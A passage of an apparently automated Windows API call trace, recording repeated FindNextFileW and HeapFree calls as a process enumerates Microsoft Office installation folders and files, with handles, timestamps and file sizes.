ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0163.323] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0163.323] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1 [0163.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0163.549] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0163.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0163.549] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0163.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0163.549] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0163.555] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0163.555] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0163.555] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0163.556] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0163.556] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1 [0163.564] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0163.564] FindNextFileW (in: hFindFile=0x4532680, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0163.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0163.569] FindNextFileW (in: hFindFile=0x4532680, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0163.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0163.825] FindNextFileW (in: hFindFile=0x4532680, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0163.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0163.832] FindNextFileW (in: hFindFile=0x4532680, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0163.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45c9758 | out: hHeap=0x710000) returned 1 [0163.834] FindNextFileW (in: hFindFile=0x4532680, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0163.848] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0163.848] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0163.849] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0163.849] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0163.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0163.850] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0163.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0163.851] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0163.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0163.854] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0164.093] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.093] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0164.094] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.095] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0164.096] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.096] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0164.098] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.098] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0164.100] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.100] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0164.101] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.101] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0164.103] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.103] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0164.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.105] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0164.107] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.107] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0164.113] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.113] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0164.117] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.117] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0164.120] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.120] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0164.124] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.124] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0164.305] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0164.305] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0164.307] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.308] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0164.310] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.310] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0164.312] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.312] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0164.314] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.314] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1 [0164.317] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.317] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0164.319] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.319] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0164.321] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.321] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0164.323] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.323] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0164.325] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.325] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, 